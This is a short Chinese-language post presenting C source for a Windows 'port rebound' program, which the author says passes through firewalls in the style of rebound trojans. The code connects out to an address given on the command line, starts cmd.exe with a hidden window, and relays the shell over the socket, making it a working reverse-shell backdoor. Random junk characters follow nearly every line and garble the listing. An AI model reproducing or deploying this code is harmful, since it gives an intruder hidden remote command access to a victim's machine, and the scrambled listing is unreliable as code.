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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `>lY$EBG@[  
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/* ============================== tZ*>S]qD  
Rebound port in Windows NT lACS^(  
By wind,2006/7 kn`O3cW/  
===============================*/ #&z'?x^a  
#include $`lGPi(Jc  
#include ] {0OPU  
N&(MM.\`^  
#pragma comment(lib,"wsock32.lib") H6KBXMYO  
%.fwNS  
void OutputShell(); 5*Dh#FRp  
SOCKET sClient; f Avh!g  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";  _BCq9/  
y"K[#&,0  
void main(int argc,char **argv) yD0DPtti  
{ 'c >^Aai  
WSADATA stWsaData; zqRps8=  
int nRet; o+- 0`!yj  
SOCKADDR_IN stSaiClient,stSaiServer; |f$gQI!XW  
]9w TAb  
if(argc != 3) (I{+ %  
{ bcAk$tA2  
printf("Useage:\n\rRebound DestIP DestPort\n"); ?d k)2  
return; |ss4pN0X  
} k[*> nE  
9w1`_r[J  
WSAStartup(MAKEWORD(2,2),&stWsaData); kp6&e  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $2Bll5!]  
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stSaiClient.sin_family = AF_INET; 5E}]U,$  
stSaiClient.sin_port = htons(0); bJynUZ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  DD[<J:6  
I-Am9\   
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) w.+G+ r=  
{ S&Hgr_/}c  
printf("Bind Socket Failed!\n"); gTd r  
return; h66mzV:`  
} _d>{Hz2  
n9Vr*RKM)  
stSaiServer.sin_family = AF_INET; `y{[e j  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `@So6%3Y|  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ws$kwSHq  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m;U_oxb  
{ C[><m2T  
printf("Connect Error!"); F8\JL %  
return; V~$?]Z%_  
} UI~hB4V$]  
OutputShell(); 0])[\O`j  
} 8}Q 2!,9Q  
bH%d*  
void OutputShell() {.Brh"yC  
{ I:;umyRH  
char szBuff[1024]; ? 0:=+%.  
SECURITY_ATTRIBUTES stSecurityAttributes; L3s"L.G  
OSVERSIONINFO stOsversionInfo; d9l2mJzW  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bu=RU  
STARTUPINFO stStartupInfo; D&DbxTi  
char *szShell; `1lGAKv  
PROCESS_INFORMATION stProcessInformation; uu/2C \n}  
unsigned long lBytesRead; Ve xxdg  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \86NV="U  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); O]oH}#5b  
stSecurityAttributes.lpSecurityDescriptor = 0; N]F}Z#h  
stSecurityAttributes.bInheritHandle = TRUE; ku#WQL  
M5N #xgR  
m@",Zr `f=  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); HzsQ`M4cA  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); gIKQip<  
3MDs?qx>s  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); HI[Pf%${  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WfYG#!}x  
stStartupInfo.wShowWindow = SW_HIDE; N%)q.'M  
stStartupInfo.hStdInput = hReadPipe; RP k'1nD  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; B'bOK`p  
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GetVersionEx(&stOsversionInfo); FJn.V1  
nW oh(a  
switch(stOsversionInfo.dwPlatformId) O-3aU!L  
{ @]Ac >&  
case 1: 3KtJT&RuL  
szShell = "command.com"; oFsV0 {x%)  
break; /E:BEm!  
default: fT YlIT9  
szShell = "cmd.exe"; bas1(/|S  
break; vdot .  
} g|tclBx  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~_ wSB[z  
B#3Q4c$  
send(sClient,szMsg,77,0); UtR wZ(09  
while(1) yI / FD  
{ B`)bo}h  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); b,>>E^wd!  
if(lBytesRead) {HFx+<JG  
{ S F da?>  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F 1l8jB\  
send(sClient,szBuff,lBytesRead,0); W>'(MB$3  
} ZX'3qW^D  
else `^|l+TJG  
{ JoD@e[(  
lBytesRead=recv(sClient,szBuff,1024,0); [$#G|>x  
if(lBytesRead<=0) break; u-QHV1H`(  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6MLjU1  
} ( k_9<Yb3  
} kM(m$Oo.  
)4> 7X)j>  
return; ARG8\qU  
}
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